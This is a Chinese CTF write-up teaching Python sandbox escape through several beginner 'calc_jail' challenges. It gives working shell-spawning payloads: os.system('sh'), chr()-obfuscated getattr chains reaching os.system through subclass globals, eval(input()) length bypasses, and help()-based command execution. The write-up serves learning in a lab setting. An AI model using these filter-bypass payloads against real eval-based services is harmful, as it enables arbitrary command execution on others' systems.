沙箱逃逸-通过题解了解沙箱逃逸

沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程
其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程,这里不理解没关系,多做两道题就知道了,老实说国内的沙箱逃逸的题不是很多,而且大多都是面向新手的?对我来说正好就是了,然后的话,如果像深入了解的话还是建议去做做国外的沙箱逃逸,国外出得比较多
以下的都是国内的题,在NSS上面就能搜到

面向新手的沙箱逃逸参考文章传送门:
沙箱逃逸上
沙箱逃逸中
沙箱逃逸下

calc_jail_beginner

知识点:基础getshell

有个附件,直接把源代码给你了

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

这里可以直接使用__import__('os').system('cat flag')或者print(open('flag').read())
这两个是题目所告诉你的,但一开始的话还是先推荐一下交互式操作,毕竟上面这两个试过一次之后就没了

__import__('os').system('sh')

交互式的更能发现一些细节,而且不难受,相当于直接敲Linux命令一样

image-20230529150552214

calc_jail_beginner_level1

知识点:SSTI注入、chr()

源码:

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

这里的主要关注部分应该是最开始的过滤,另外下面相关的函数也需要注意一下:

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)
--------------------------------------------
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)

这里的含义表示过滤了双引号单引号反斜杠i字母b字母,只要输入的命令中包含有这些就直接退出

简单的来说就是你用不了一些比较常用的命令了,但我们可以自己构造出来,下面介绍一种构造方法叫做python模板注入简称SSTI

因为python中万物皆对象,像以下这些都是对象:

()元组	[]列表	{}字典	''/""字符串

当然变量常量什么的也是对象(直接查看数字的class是找打行为),可以通过__class__这个函数来进行一个看的查:

image-20230529161544464

然后的话可以通过__base____bases____mro__这些函数查看函数对象所属类的父类,下面以()元组为例

image-20230529162509283

元组的父类是object类应该说所有类的父类都是object类,bases是以元组的形式返回父类,而mro以元组的形式返回所有与该类相关的类,自己试一下就知道是什么样的了

然后的话,查到object类后,然后就可以查看object类的所有子类了,为什么又要查子类呢,由子类上升到父类,然后父类下的所有子类你就可以都知道了,然后子类中就有些我们可以利用的类来进行rce

使用到了__subclasses__()这个函数

print(().__class__.__base__.__subclasses__())

输出:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'numpy._globals._NoValueType'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'numpy.ufunc'>, <class 'numpy.dtype'>, <class 'numpy.ndarray'>, <class 'numpy.generic'>, <class 'numpy.flatiter'>, <class 'numpy.mapiter'>, <class 'numpy.broadcast'>, <class 'numpy.neigh_internal_iter'>, <class 'numpy.nditer'>, <class 'numpy.core.multiarray.flagsobj'>, <class 'numpy.busdaycalendar'>, <class 'numpy._ArrayMethod'>, <class 'numpy._BoundArrayMethod'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'numpy.compat.py3k.contextlib_nullcontext'>, <class 'numbers.Number'>, <class 'numpy.core._ufunc_config._unspecified'>, <class 'numpy.core.arrayprint.FloatingFormat'>, <class 'numpy.core.arrayprint.IntegerFormat'>, <class 'numpy.core.arrayprint.BoolFormat'>, <class 'numpy.core.arrayprint.ComplexFloatingFormat'>, <class 'numpy.core.arrayprint._TimelikeFormat'>, <class 'numpy.core.arrayprint.SubArrayFormat'>, <class 'numpy.core.arrayprint.StructuredVoidFormat'>, <class 'numpy.format_parser'>, <class 'numpy.MachAr'>, <class 'numpy.core.getlimits.MachArLike'>, <class 'numpy.finfo'>, <class 'numpy.iinfo'>, <class 'platform._Processor'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'numpy.core._internal.dummy_ctype'>, <class 'numpy.core._internal._missing_ctypes.c_void_p'>, <class 'numpy.core._internal._missing_ctypes'>, <class 'numpy.core._internal._ctypes'>, <class 'numpy.core._internal._Stream'>, <class 'numpy._pytesttester.PytestTester'>, <class 'numpy.lib.mixins.NDArrayOperatorsMixin'>, <class 'numpy.lib.stride_tricks.DummyArray'>, <class 'numpy.vectorize'>, <class 'numpy.lib.index_tricks.nd_grid'>, <class 'numpy.lib.index_tricks.AxisConcatenator'>, <class 'numpy.ndenumerate'>, <class 'numpy.ndindex'>, <class 'numpy.lib.index_tricks.IndexExpression'>, <class 'numpy.poly1d'>, <class 'textwrap.TextWrapper'>, <class 'numpy.lib.utils._Deprecate'>, <class 'numpy.lib._datasource._FileOpeners'>, <class 'numpy.DataSource'>, <class 'numpy.lib._iotools.LineSplitter'>, <class 'numpy.lib._iotools.NameValidator'>, <class 'numpy.lib._iotools.StringConverter'>, <class 'numpy.lib.npyio.BagObj'>, <class 'numpy.lib.arrayterator.Arrayterator'>, <class 'numpy.lib._version.NumpyVersion'>, <class 'numpy.random.mtrand.RandomState'>, <class 'cython_function_or_method'>, <class 'numpy.random.bit_generator.BitGenerator'>, <class 'numpy.random.bit_generator.SeedSequence'>, <class 'numpy.random.bit_generator.SeedlessSequence'>, <class 'numpy.random.bit_generator.SeedlessSeedSequence'>, <class 'generator'>, <class 'numpy.random._common.__pyx_scope_struct____pyx_f_5numpy_6random_7_common_validate_output_shape'>, <class 'numpy.random._common.__pyx_scope_struct_1_genexpr'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'hmac.HMAC'>, <class 'numpy.random._generator.Generator'>, <class 'numpy.random._generator.array'>, <class 'numpy.random._generator.Enum'>, <class 'numpy.random._generator.memoryview'>, <class 'numpy.ma.core._DomainCheckInterval'>, <class 'numpy.ma.core._DomainTan'>, <class 'numpy.ma.core._DomainSafeDivide'>, <class 'numpy.ma.core._DomainGreater'>, <class 'numpy.ma.core._DomainGreaterEqual'>, <class 'numpy.ma.core._MaskedUFunc'>, <class 'numpy.ma.core._MaskedPrintOption'>, <class 'numpy.ma.core.MaskedIterator'>, <class 'numpy.ma.core._frommethod'>, <class 'numpy.ma.core._convert2ma'>, <class 'numpy.ma.extras._fromnxfunction'>, <class 'packaging._structures.InfinityType'>, <class 'packaging._structures.NegativeInfinityType'>, <class 'packaging.version._BaseVersion'>, <class 'matplotlib._api.deprecation.deprecate_privatize_attribute'>, <class 'matplotlib._api.deprecation._deprecated_parameter_class'>, <class 'matplotlib._api.classproperty'>, <class 'gzip._PaddedFile'>, <class 'shlex.shlex'>, <class 'matplotlib.cbook._StrongRef'>, <class 'matplotlib.cbook.CallbackRegistry'>, <class 'matplotlib.cbook.Stack'>, <class 'matplotlib.cbook.Grouper'>, <class 'matplotlib.docstring.Substitution'>, <class 'pyexpat.xmlparser'>, <class 'xml.etree.ElementPath._SelectorContext'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.QName'>, <class 'xml.etree.ElementTree.ElementTree'>, <class 'xml.etree.ElementTree.XMLPullParser'>, <class 'xml.etree.ElementTree.C14NWriterTarget'>, <class '_elementtree._element_iterator'>, <class 'xml.etree.ElementTree.TreeBuilder'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.XMLParser'>, <class 'xml.etree.ElementTree.Element'>, <class 'xml.etree.ElementTree.QName'>, <class 'xml.etree.ElementTree.ElementTree'>, <class 'xml.etree.ElementTree.XMLPullParser'>, <class 'xml.etree.ElementTree.TreeBuilder'>, <class 'xml.etree.ElementTree.XMLParser'>, <class 'xml.etree.ElementTree.C14NWriterTarget'>, <class 'PIL.ImageMode.ModeDescriptor'>, <class 'PIL._util.deferred_error'>, <class 'ImagingCore'>, <class 'ImagingFont'>, <class 'ImagingDraw'>, <class 'PixelAccess'>, <class 'cffi.model.BaseTypeByIdentity'>, <class 'cffi.api.FFI'>, <class 'PIL.Image._E'>, <class 'PIL.Image.Image._ArrayData'>, <class 'PIL.Image.Image'>, <class 'PIL.Image.ImagePointHandler'>, <class 'PIL.Image.ImageTransformHandler'>, <class 'PIL.ImageFile.Parser'>, <class 'PIL.ImageFile.PyCodecState'>, <class 'PIL.ImageFile.PyCodec'>, <class 'array.array'>, <class 'PIL.GimpGradientFile.GradientFile'>, <class 'PIL.GimpPaletteFile.GimpPaletteFile'>, <class 'PIL.PaletteFile.PaletteFile'>, <class 'PIL.ImagePalette.ImagePalette'>, <class 'PIL.ImageSequence.Iterator'>, <class 'PIL.PngImagePlugin.ChunkStream'>, <class 'PIL.PngImagePlugin.PngInfo'>, <class 'PIL.PngImagePlugin._idat'>, <class 'PIL.PngImagePlugin._fdat'>, <class 'matplotlib.bezier.BezierSegment'>, <class 'matplotlib.path.Path'>, <class 'matplotlib.transforms.TransformNode'>, <class 'matplotlib.transforms._BlendedMixin'>, <class 'matplotlib.ticker._DummyAxis'>, <class 'matplotlib.ticker.TickHelper'>, <class 'matplotlib.ticker._Edge_integer'>, <class 'matplotlib.scale.ScaleBase'>, <class 'matplotlib.colors.ColorConverter'>, <class 'matplotlib.colors.Colormap'>, <class 'matplotlib.colors.Normalize'>, <class 'matplotlib.colors.LightSource'>, <class 'pyparsing.util.__config_flags'>, <class 'pyparsing.util._UnboundedCache'>, <class 'pyparsing.util._FifoCache'>, <class 'pyparsing.util.LRUMemo'>, <class 'pyparsing.unicode._lazyclassproperty'>, <class 'pyparsing.unicode.unicode_set'>, <class 'pyparsing.actions.OnlyOnce'>, <class 'pyparsing.results._ParseResultsWithOffset'>, <class 'pyparsing.results.ParseResults'>, <class 'pyparsing.core._NullToken'>, <class 'pyparsing.testing.pyparsing_test.reset_pyparsing_context'>, <class 'pyparsing.testing.pyparsing_test.TestParseResultsAsserts'>, <class 'pyparsing.testing.pyparsing_test'>, <class 'pyparsing.common.pyparsing_common'>, <class 'matplotlib.fontconfig_pattern.FontconfigPatternParser'>, <class 'cycler.Cycler'>, <class 'matplotlib.rcsetup.ValidateInStrings'>, <class 'matplotlib.__getattr__'>, <class 'matplotlib.ft2font.FT2Image'>, <class 'matplotlib.ft2font.Glyph'>, <class 'matplotlib.ft2font.FT2Font'>, <class 'kiwisolver.Variable'>, <class 'kiwisolver.Term'>, <class 'kiwisolver.Expression'>, <class 'kiwisolver.Constraint'>, <class 'kiwisolver.Strength'>, <class 'kiwisolver.Solver'>, <class 'matplotlib.cm.__getattr__'>, <class 'matplotlib.cm.ScalarMappable'>]

可以看到有objec有一堆的子类,这个很正常,毕竟是所有子类的父类嘛,然后再加上具体的下标我们就能检索想要的具体类了

回到题目:
这里要用上述方法先来查看一下有哪些可以利用的类,但是很容易发现,其中还是有些东西用不了,像什么base啊subclasses什么的,但毕竟是.后面的函数,那么就可以通过使用getattr()这个函数来代替.然后后面的字符串有可以用chr()函数和+字符串的拼接来实现

# 下面是渐变过程
().__class__.__base__.__subclasses__()

getattr(().__class__, '__base__').__subclasses__()

getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()

getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

栞栞会输出什么

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

还是有不少子类的,在其中找可以利用的子类,题目中可以用到<class 'os._wrap_close'>这个类,通过下标找到这个类,然后就可以构造payload了:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

当然要整体替换一下:

getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))

image-20230529171258027

当然这个不止这一种解法,也能利用open函数,毕竟没有禁,但前提是你在不知道系统文件的情况下知道文件的名称和在哪

print(open(chr(102)+chr(108)+chr(97)+chr(103)).read())

calc_jail_beginner_level2

知识点:参数逃逸

源码:

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

关键代码:

input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)

这里直接限制了payload的长度不大于13,像上面提到的是用都用不了了

这里用到了一种类似于php的参数逃逸,姑且还是管它叫做参数逃逸吧
php中:

/?cmd=system($_POST[1]);&1=ls

对于这串命令system中POST的参数就会逃逸到参数1中去,对于这个1的长度是没有一点长度限制的

像这里我们也可以采用类似的手法,想办法搞个命令里面能再输入关键命令,显然input()这个函数就正好符合要求,payload:

eval(input())

之后就随意输入之前所有的payload了,然后就能获取shell了

image-20230529173315377

calc_jail_beginner_level3

知识点:help()

有源码还是放一下吧,之后这种题目不一定放源码的说,以后就只展示关键点了,这个系列的好像都差不太多,差得多了我再说吧

下面是主要代码:

input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

好嘛,就是上个题的拓展,这回是长度不大于7

这回的话就是通过help()这个函数来进行RCE了,参考了这篇文章:传送门(建议还是别翻译好点)
再python里面help()函数使用后也是一个交互界面,要想着只要是能交互的东西都有成为RCE的可能

image-20230529201458856

这样就直接变成一个交互界面了,可以通过这里的提示来运行一点命令,上面那篇文章也说了,先用modules这个命令来看看所有模块,在出现的模块里面随便进入一个,这里以re为例

image-20230529201946316

进入后又是一个交互界面,这里根据上面的文档是已经获得shell了的,直接使用命令

image-20230529202112085

calc_jail_beginner_level2.5

知识点:breakpoint()

关键源码:

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)
----------------------------------------------
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)

